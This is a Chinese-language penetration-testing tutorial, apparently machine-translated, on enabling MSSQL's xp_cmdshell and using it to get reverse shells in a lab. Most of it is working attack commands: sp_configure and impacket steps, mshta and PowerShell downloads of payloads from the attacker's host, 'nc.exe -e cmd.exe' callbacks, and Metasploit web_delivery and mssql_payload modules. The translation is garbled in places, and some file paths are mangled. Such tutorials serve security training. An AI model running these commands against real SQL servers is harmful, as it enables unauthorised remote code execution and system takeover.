Pentester MSSQL:命令执行与 xp_cmdshell
xp_cmdshell命令执行 是一种强大的技术,适用于针对 SQL Server 环境Microsoft 渗透测试人员。 Microsoft 在 SQL Server 6.0(1995 )中引入了 T-SQL 的xp_cmdshell ,作为扩展存储过程的一部分,允许用户直接从 SQL Server 执行 操作系统命令 。 Transact-SQL(T-SQL) 是 Microsoft 使用的SQL扩展版本,通过过程式编程结构、流量控制语句以及额外的内置函数支持此功能。
接下来我们将深入探讨 xp_cmdshell 的细节,并探讨如何利用它执行 命令 。此外,我们还将讨论启用 xp_cmdshell 的不同方法,包括使用 图形界面(GUI)、sqsh 和 impacket-mssqlclient。
目录
- 实验室设置
- 启用xp_cmdshell(使用图形界面)
- 启用xp_cmdshell(使用sqsh)
- 启用xp_cmdshell(使用 impacket-mssqlclient)
- 利用MSSQL(反向壳)
- 使用逆壳发生器的反向壳体
- 使用.hta 文件进行反向 shell
- 使用netcat二进制的反壳层
- 使用 Python 脚本进行反向 shell
- 使用nxc的反向壳体
- 使用 crackmapexec 和 metasploit 进行反向壳体
- 使用 PowerUPSQL 执行命令
- 结论
实验室设置
目标机器:Windows(MSSQL Server)(192.168.31.126)
攻击者机器:Kali Linux (192.168.31.141)
MSSQL服务器的设置可以通过以下步骤完成: https://hackingarticles.in/penetration-testing-lab-setupms-sql/
启用xp_cmdshell(使用图形界面)
设置完成后,我们可以继续启用 xp_cmdshell 。默认情况下, xp_cmdshell 在 MSSQL 服务器 中是禁用的,启用需要管理员权限。在这种情况下,我们将使用拥有管理员权限的SA用户。该账户在 SQL Server 环境中拥有最高权限级别,属于 系统管理员 固定服务器角色。
从使用 SA 账户登录MSSQL服务器开始。

一旦SQL实例以管理员权限运行,我们可以通过右键点击实例访问 分面 。在 Microsoft SQL Server 中, Facets 是 基于策略管理(PBM) 框架的核心部分。它们包含可配置以强制执行特定策略的逻辑属性。

接下来,点击 “面” 后,会出现一个新窗口。在该窗口中,选择 “表面积配置 ”。 表面积配置 指的是一组管理员可以管理的逻辑属性,用以控制 SQL Server 实例的配置和功能可用性。

在 表面面积配置 中,我们找到了 xp_cmdshell 选项,默认设置为False。值得注意的是, xp_cmdshell 创建了一个 Windows 进程 ,继承了与 SQL Server 服务 相同的 安全权限 。

要启用该功能,请将 xp_cmdshell 设为 True 。

然而,默认情况下,xp_cmdshell 在 MSSQL 服务器中仍被禁用,启用需要管理员权限。因此,我们将使用sp_configure存储过程通过 sqsh 实现xp_cmdshell。
启用xp_cmdshell(使用sqsh)
SQSH 是 Kali Linux 内置的工具。这里,我们将检查目标机器上是否启用了 xp_cmdshell 。但首先,我们将使用以下命令连接到MSSQL服务器:
sqsh -S 192.168.31.126 -U sa -P "Password@123"
建立连接后,执行以下命令以验证 xp_cmdshell 是否被启用:
xp_cmdshell 'whoami' ;
go
此时,我们注意到服务器已阻止访问 命令壳过程 。因此,我们将使用thesp_configure存储过程。 sp_configure 是 SQL Server 中的一个系统过程Microsoft用于查看或修改服务器级设置。要通过 sqsh 实现 xp_cmdshell ,我们需要依次执行以下命令:
EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
go
xp_cmdshell 'whoami';
go

xp_cmdshell 命令执行
除了 sqsh,我们还可以使用 impacket-mssqlclient 来启用xp_cmdshell。同时,我们将使用Windows认证方法来认证为raj用户。
启用xp_cmdshell(使用 impacket-mssqlclient)
在最新版本的Microsoft MSSQL Server中,主要有三种认证方式:
- Windows 认证
- Microsoft Entra ID 认证
- SQL Server 认证
这里我们将以 Raj 用户身份使用 Windows 认证 方法进行认证。

此外,我们还可以使用 impacket-mssqlclient 脚本登录系统,具体来说,我们使用以下命令进行 Windows 认证,使用 impacket-mssqlclient 脚本。
impacket-mssqlclient raj:'Password@1'@192.168.31.126 -windows-auth
登录后启用xp_cmdshell,请使用以下命令:
enable_xp_cmdshell
xp_cmdshell whoami

xp_cmdshell 命令执行
接下来,我们将讨论利用 MSSQL 的不同方法,包括使用反向 shell 生成器、.hta 文件、netcat 二进制、python 脚本、nxc、crackmapexec 和 metasploit。此外,我们还会使用 PowerUPSQL 在目标系统上执行命令。
利用MSSQL(反向壳)
利用 MSSQL 服务器 有多种方法。这些方法包括通过命令执行直接进行 反向 shell 、利用 Metasploit 利用,或利用 反向 shell 生成器脚本 。在本节中,我们将详细讨论每种方法。
使用逆壳发生器的反向壳体
一种常见的方法是直接在 xp_cmdshell 中使用 反向 shell 命令 。你可以从这里复制所需的有效载荷: https://www.revshells.com/
同时,我们可以在 Kali机器 的 4444 端口启动监听器,并将 PowerShell编码的负载 复制到 xp_cmdshell 。这里,我们使用的是 PowerShell #3(Base64) 负载。

接着,在 shell 内粘贴整个 payload 的 xp_cmdshell 命令后。

xp_cmdshell 命令执行
注意,一旦 有效载荷通过 xp_cmdshell 执行,端口4444成功建立 反向shell连接 。
rlwrap nc -lvnp 4444

使用.hta 文件进行反向 shell
.hta (HTML 应用)文件是一个独立的基于脚本的程序,使用 HTML 创建,并使用 mshta.exe(Microsoft HTML Application Host) 执行。在 SQL Server 的 xp_cmdshell 语境中,.hta 文件可以通过 VBScript、JavaScript 或其他基于 HTML 的技术执行脚本或命令。
我们可以在 Kali Linux 中使用 msfvenom 工具生成**.hta** 文件 ,然后用 xp_cmdshell 上传到目标系统,从而获得 反向shell 。
以下是msfvenom的命令:
msfvenom -p windows/shell_reverse_tcp lhost=192.168.31.141 lport=1234 -f hta-psh > shell.hta

xp_cmdshell 命令执行
shell.hta 文件可以通过 mshta 服务直接从该xp_cmdshell执行。
xp_cmdshell将使用以下命令:
xp_cmdshell "mshta http://192.168.31.141/shell.hta"

注意,在xp_cmdshell执行命令后,反向弹壳是在端口1234获得的。
rlwrap nc -lvnp 1234

使用netcat二进制的反壳层
Kali Linux 提供内置 兼容 Windows 的二进制文件 。其中一个二进制文件是 nc.exe ( Netcat ),位于 /usr/share/windows-binariries 。我们可以用 xp_cmdshell 把 nc.exe 文件上传到目标系统。
cd /usr/share/windows-binaries
ls -al
updog -p 80

xp_cmdshell 命令执行
在xp_cmdshell中可以执行以下命令,将nc.exe二进制文件上传到目标系统,然后执行该二进制文件以获得反向 shell。
xp_cmdshell "powershell wget http://192.168.31.141/nc.exe -OutFile c:\UsersPublic\nc.exe"
xp_cmdshell "c:\UsersPublic\nc.exe -e cmd.exe 192.168.31.141 8888"

注意,反向壳体是在Kali机的8888端口获得的。
RLWRAP 北卡 -LVNP 8888
rlwrap nc -lvnp 8888
rlwrap nc -lvnp 8888

xp_cmdshell 命令执行
使用 Python 脚本进行反向 shell
或者,Python 脚本 可以生成 反向 shell 负载。该有效载荷可在 xp_cmdshell 内建立反向壳连接。你可以从这里下载剧本:
该脚本需要两个参数——攻击者的IP地址和监听者的端口号。请使用以下命令用 Python 脚本 生成负载:
python3 mkpsrevshell.py 192.168.31.141 9999

xp_cmdshell 命令执行
同时,我们直接利用脚本在xp_cmdshell中生成的输出,在端口9999获得反向shell。

反向弹壳是在xp_cmdshell执行命令后获得的。
rlwrap nc -lvnp 9999

xp_cmdshell 命令执行
使用nxc的反向壳体
nxc(NetExec) ——CrackMapExec的继任者——是一款网络服务利用工具,允许用户上传和下载文件。在这种情况下,我们将使用 nxc 将nc.exe上传到目标系统,并建立 反向 shell 。
cd /usr/share/windows-binaries
ls -al
nxc mssql 192.168.31.126 -u "raj" -p "Password@1" --put-file nc.exe c:\Users\Public\nc.exe

我们使用 nxc 将nc.exe二进制文件上传到目标系统,并执行系统级命令建立反向 shell。
nxc mssql 192.168.31.126 -u "raj" -p "Password@1" -x "c:\Users\Public\nc.exe -e cmd.exe 192.168.31.141 6666"

xp_cmdshell 命令执行
与此同时,我们在Kali机器的6666端口获得了反向外壳,因此可以远程访问系统。
rlwrap nc -lvnp 6666

使用 crackmapexec 和 metasploit 进行反向壳体
此外, Metasploit 还包含一种 网页分发漏洞 ,可以生成一个用于将文件传输到目标系统的 URL 。您可以使用以下命令来实现这一技术:
msfconsole -q
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.31.141
run

xp_cmdshell 命令执行
一旦漏洞运行,你会注意到 Metasploit 生成了一个托管有效载荷的 URL 。你可以用 crackmapexec 工具来执行 反向 shell 。
在这个例子中,有效载荷的地址是:
http://192.168.31.141:8080/TrBYNRKFCChZSz
crackmapexec mssql 192.168.31.126 -u "raj" -p "Password@1" -M web_delivery -o URL=http://192.168.31.141:8080/TrBYNRKFCChZSz

接下来,通过 crackmapexec 的 网页交付模块 访问生成的 URL。注意,访问时会启动 Meterpreter会话 。

xp_cmdshell 命令执行
此外,你还可以使用 Metasploit 中的 mssql_payload 漏洞。一旦执行该漏洞,该漏洞会开启 一个Meterpreter会话 。请使用以下命令来运行该模块:
use exploit/windows/mssql/mssql_payload
set rhost 192.168.31.126
set database master
set username sa
set password Password@123
run

我们执行了漏洞利用,随后获得了 Meterpreter 会话,从而获得了系统访问权限。

xp_cmdshell 命令执行
此外,另一种可行的方法是在 Metasploit 中使用 mssql_exec漏洞 。因此,攻击者通过这种方法手动输入命令,并在建立连接后显示输出。
以下是使用该漏洞的命令:
use auxiliary/admin/mssql/mssql_exec
set rhost 192.168.31.126
set database master
set username sa
set password Password@123
set cmd "ipconfig"
run

使用 PowerUPSQL 执行命令
渗透测试人员和安全专业人员使用 PowerUpSQL 来审计和评估 SQL Server 实例。 它具备在企业网络中发现、枚举和利用 SQL Server 环境 的能力。你可以从以下网站下载剧本: https://github.com/NetSPI/PowerUpSQL
我们积极利用 PowerUpSQL 来审计和评估 SQL Server 实例,随后核实用户是否拥有 系统管理员 权限,并检查 xp_cmdshell 状态。
最后,在 获得初始外壳后 ,你可以在目标系统上使用以下 PowerShell 命令 :
powershell
powershell -ep bypass
Import-Module .PowerUpSQL.ps1
Invoke-SQLOSCmd -Username sa -Password Password@123 -Instance WIN-JE6KIAEEJ09SQLEXPRESS -Command whoami -Verbose

xp_cmdshell 命令执行
结论
总之, xp_cmdshell 代表 了Microsoft为MSSQL Server 提供的一项非常有用的功能。然而,当配置错误时,它允许攻击者执行系统级命令。因此,组织必须确保在任何情况下都不泄露系统管理员凭证,因为泄露这些凭据可能导致未经授权的 xp_cmdshell命令 执行,从而实现远程命令的执行。
文章作者:大神K
版权说明:本文为原创内容,转载请注明出处。